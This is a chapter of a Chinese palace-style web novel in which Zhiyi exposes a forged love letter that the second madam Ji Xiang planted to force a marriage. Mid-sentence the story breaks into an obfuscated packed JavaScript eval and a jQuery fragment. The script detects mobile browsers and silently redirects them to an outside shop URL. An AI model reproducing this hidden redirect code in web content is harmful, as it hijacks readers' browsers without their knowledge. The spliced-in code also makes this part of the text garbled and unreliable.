51. 情信乌龙(一)
作品:《半路遇见的帅哥竟跟小时候的我认识》 离乡的人,与留守的人,所望的应当是同一片天。
知意如往常一般,在太阳完全升起前就起了床。
她下意识地望向一片素白的窗外,但不出所料,那呼哧的扇动翅膀声并未翩然而至。
他们应该刚上了船,到扬州也是段不近的路程,估计要等到安定之后才有信寄回吧。
她坐在案前,刚翻开本书册没多久,淡月便急匆匆地跑来找她。
“慢点——发生什么事了?”知意拍了拍她的背,生怕她一下岔气。
淡月弯着腰,手撑着膝盖,好不容易才喘上气,跟知意说:“娘子,二夫人传话来让你现在就过去一趟!”
“现在?能有什么事这么着急?”
这些日子保持的警惕性,让她一下就想到了江秋西提醒她的话。
若是姨母找她还好说,二夫人的传话,十有八九都是没安好心的。
哎,这一桩桩、一件件的事累加起来,让知意对这一个屋檐下却没见过几面的人印象坏到了这个程度。
不过,她一下就起了身,对着淡月说:“不怕她,我现在就去。”
“帮我更衣吧。”
知意内心一直坚信“否极泰来”这个道理,她才不会始终任人欺压。
而二夫人这些令人不齿的谋算,会由她亲手了结。
但稍微令她有些出乎意料的,是她还没走到西跨院,二夫人竟上赶着来迎她。
“哎哟,好些天没见着阿意了。”季湘难见地对她笑得一脸殷勤。
知意见此,条件反射地后退两步,心中警铃大作。
季湘动作极快,像是刻意地往知意身边拱来一样。
知意平复了下呼吸,默默观看她朝自己撞上的全程。
“阿意找二姨母有何事啊?”她的笑,落在知意的眼里却浸满了寒意。
“啪唧”一声,似有什么物什掉在了地上。
季湘弯腰去捡的时候,知意还在想,明明是她叫自己来的,怎么突然又改口说自己找她呢?
两面三刀的人就是圆滑善变的。
季湘将地上信纸一样的东西捡了起来,拿在手中只看了一瞬,便装作大惊的样子嚷道:“哎呀,阿意这是你写的么,怎么不早些告诉姨母呢?”
知意接过信纸,指间却将这薄薄一片捏紧了。
她出门前刻意在指缝里藏了些墨粉,能够不漏痕迹地在字迹上添些笔画。
“我写的?”
知意侧了下身子,信纸正好就完全背对着二夫人,她一边用手指着,一边念出上面的内容:
“......对汝倾情至此,纸上空谈难言万分之一。夜阑人静,而孤寂难耐,不若下回再择定良辰佳日......”
她不动声色地改了些字眼,余光瞥见二夫人时,她看起来一点都没察觉到。
季湘也真没想到这丫头这么不害臊,居然还当众念出来了。
虽说这小娘子出身寒碜了些,还是叶静珍的外甥女,但谁让她儿子喜欢呢,她又有什么法子。
反正,进了门过后都是她这个阿姑说了算。
但她脸上依旧摆得笑呵呵的:“原来阿意你这么早就喜欢上成琨哥哥了,二姨母真是高兴得嘴都合不拢。”
“这些字句,写得还挺有文采的。”知意淡淡说道。
“是呀,那咱们去找老夫人做个见证吧。”
“见证?好啊。”知意一拍掌,答应得很爽快,“把我姨母也叫来吧。”
知意规规矩矩地跟在季湘身后,到了老夫人和姨母所在的和瑞堂。季湘一路也觉诧异,但只当这孩子突然开窍了吧。
毕竟在她心目中,自己儿子是打着灯笼都难找的,而李知意这小丫头片子不过是撞运了罢。
老夫人正跟丫鬟们打着纸牌,刚觉着有些无聊的时候,就见到两人一前一后地找上来了。
她将手头纸牌都放下,抬起头来问:“今日出奇了,竟是你们二人结伴来的,有什么事?”
苍老的声音略微颤抖,但依旧沉稳有力。而目如悬珠,仿佛能洞穿一切。
“请老夫人安,儿媳又给您带来了好事一桩啊!”
“好事?那便说来听听。”
话音刚落,敞开的门前又走进了个人。
叶静珍听了淡月的通禀,便连忙从外赶了回来,此刻见着三人像是对峙一般的场景,更是一头雾水。
季湘自然也是笑脸相迎:“大嫂来得正好,正要说你这宝贝外甥女的事呢。”
“知意?”叶静珍得老夫人许可后便坐了下来,“我家孩子的事怎么轮到要你来说了?”
“大嫂先别急着呛我,你知道了之后保准比我还高兴。”
叶静珍脸色却更难看,她就没指望从季湘嘴里吐出什么好话。
另一头还未开口说过话的知意,等到姨母的到来,心头也终于踏实了。
季湘嘴唇很薄,说话就不自觉露出上排牙齿:“我也是才知道呢,知意原来早就瞧上我们琨儿了,而我瞧他的样子,也不像是不愿意的,我这当娘的自然也是倍感欣慰啊!”
听见了这话,知意蓦地捏紧了拳,脸上青筋直跳。
她才意识到,自己的怒意竟这么强烈。为什么她的尊严要一次次地被践踏在脚下,为什么有的人总妄想以一段不幸的婚姻来毁掉女子的一生?
“碰巧又是阿月出嫁在即,若能喜结连理,这真是双喜临门啊。”季湘笑得开怀。
叶静珍目观全程,心中没比知意平静几分。季湘得意忘形的模样,落在眼里是那么刺眼。
她在说什么蠢话呢?濛濛能看上她那便宜儿子?闭着眼睛都不可能!
季湘眼看自己的话掉在了地上,没人回应,不免也觉得尴尬。
她对着知意继续开腔:“阿意刚才不还找二姨母说事呢,现在怎么又不说话了呢?”
“二姨母要我说什么,不是您自己先找上的我吗?”知意强忍心中怒意,一字一字将话吐出。
“阿意这就是你不懂事了,自己做下的事怎么不承认了呢?”季湘从来不是表里如一的人,这时还不忘意有所指地倒打一耙。
知意气极反笑,将方才的纸从怀中拿出:“二姨母你说的是这个么?要不让大家都看看上面的内容吧。”
季湘觉着只要有这封“情信”,李知意肯定是没跑的了,因此更加理直气壮起来。
“怎么,这不就是你写的吗?”
“的确是我的笔迹,但内容——我来替二姨母念念吧。”
这可是在老夫人面前,季湘再感叹这丫头片子可真是不害臊!
但她心头又浮上说不出的奇怪感,李知意的话声比她的预感更快,一下就使她大受震撼——
“吾倾情夫人已久,夫人柳腰花态......犹记细脖上那颗红痣,鄙人仍萦念于心......”
其实知意倒没那么大本事在路上就修改这么多,只不过加上了对二夫人的称谓,其余的都是即兴发挥而已。
这只是信的部分片段,还有些更难以启齿的被知意省略掉了。
这二夫人递来的信,比她想的还要劲爆些许。
只有这颗红痣,是二夫人季湘后颈独有的,被衣料领子遮得若隐若现,是大家都知道的。
只有这个,知意方才在在字的末尾捣鼓了好久呢。
所以信上的内容,叶静珍听见了,老夫人听见了,就连在场的小丫鬟也都全将其收进了耳中。
季湘此刻如坠冰窟,又仿佛置身火炉,心中羞耻感比当场被扒光衣服的更强烈。
她的的尴尬与困窘,不亚于那次被昭明侯世子当场拾到鹰拓。
而这又是因为李知意。
她一气之下将信纸抢来,结果映入眼帘的便是方才李知意所念的“夫人”二字。
她识得的字并不多,而仅这两个,就足以让她如遭重创。
怎么会这样,怎么会变成给她自己的信?
季湘手抖得不行,强扯出笑,讪讪说道:“这真是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903075|186128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
......许是二姨母搞错了呢,今日还真是闹了个不小的笑话呢。”
说完,季湘冷汗直冒,情不自禁就往后退了两步。
“这就是你要告诉老身的好消息?”老夫人的话听来不带情绪,却仿佛山雨欲来。
“母亲,这是一场误会啊,都是误会!儿媳怎么可能做出难般有辱门楣的事!”季湘扑通跪下,一把鼻涕一把泪哭着。
知意冷眼旁观,不过这二夫人着实会演,都快赶上勾栏里头的戏子了。
老夫人手撑在桌沿,反常的沉默才是对季湘的一刀刀凌迟。
知意瞧着时机差不多了,便在心里复习了遍准备好的话术,走上前来:“既然老夫人开口了,那小辈就先不管那些虚的礼数了。”
“可否请老夫人为小辈作个主,信上的确是我的字迹无异,但原本内容都并非我所写。”
原本内容?只有季湘听到这句,才恍然明白些什么,又做贼心虚得不行,实在有苦难言。
“我以性命担保。”最后这一句话,知意反而说得极为平静,像无风刮过的潭水。
等知意慢慢将话说完,叶静珍便觉心如刀绞,是因为自己的缘故,才让姐姐的亲骨肉遭如此屈辱。
她毅然起身,低声对知意说道:“什么性命不性命的,别让自己作了他人的嫁衣。”
知意看向姨母的眼睛,依旧是那么坚定,那么温暖,还好有姨母在,姨母永远都会站在她这一边。
安抚完外甥女,叶静珍当着老夫人的面,用手指着季湘,难以抑制此时的愤恨。
“我家孩子脾性好,说不出什么重话。但我也是头一回见到始作俑者大摇大摆露出自己狐狸尾巴,还丝毫不心虚的。”
季湘虽与叶静珍不对头,但这次竟出奇地如被慑住了一般。
“老夫人今日也看见了,这封见不得人的信并不是知意写的,却另有人利用她的字迹欲图构陷于她、污她清名!”
叶静珍才不关心季湘自己那档子风流事,真正生气的是自己孩子受的委屈。
江老夫人此刻也面色不善起来,伪造字迹这事说大不大,说小不小,又牵扯到了季湘。只庆幸今日只在府上闹一闹,要是传出去,别人以为自己府上连一个小娘子都容不下,江家的脸面何在?
不过,信上的内容也就未必是真的。
但也正因为事发在内宅,那她便也有话语权了。
“而最能从中获利的人,不用想也知道是谁。”叶静珍说这句话时,谁也不看,仿佛只在揭露那人的罪行一般,不给任何转圜余地。
“大嫂你这又是怪我头上了?”季湘也还站得住,没好气地说,“难道我还得求着你外甥女嫁我们家来吗?”
“那上赶着塞一个又一个过来是什么意思啊?”上回阿月的事还没完,今儿这是又打起濛濛的主意了。
这话一出,在场几位婢子都被吓了一跳。
“季湘。”这句尾音拖得极长,话音刚落,争执便突兀地平息下来,所有人无一不将视线转向座上。
老夫人有了自己的思量,沉重说道:“我只问你一句,到底是不是你伪造的字迹?”
“不是我——”季湘脱口而出,只是比她嘴更快的是叶静珍眼中扫来的寒芒。
“真不是你?”老夫人再追问。
“真,真不是我。”季湘连连否认,就捏准了其他人拿她没办法。
说完,她连大气都不敢喘。
“写信的人你认识么?”
“不认识。”
良久,老夫人叹了口气:“你也不至于那般糊涂,那下去再查吧,定要还李娘子一个清白。”
场面一度寂然无声,老夫人轻飘飘的一句话,就仿佛将所有人都赦免了一般。
知意垂眸,没什么可说的。
而叶静珍睁大了双眼,仿若一盆冷水从头浇下。
“我不答应!”她才发现这一声音是从自己胸腔内发出,也是她自嫁入江家以来,第一次忤逆面前这位老者。

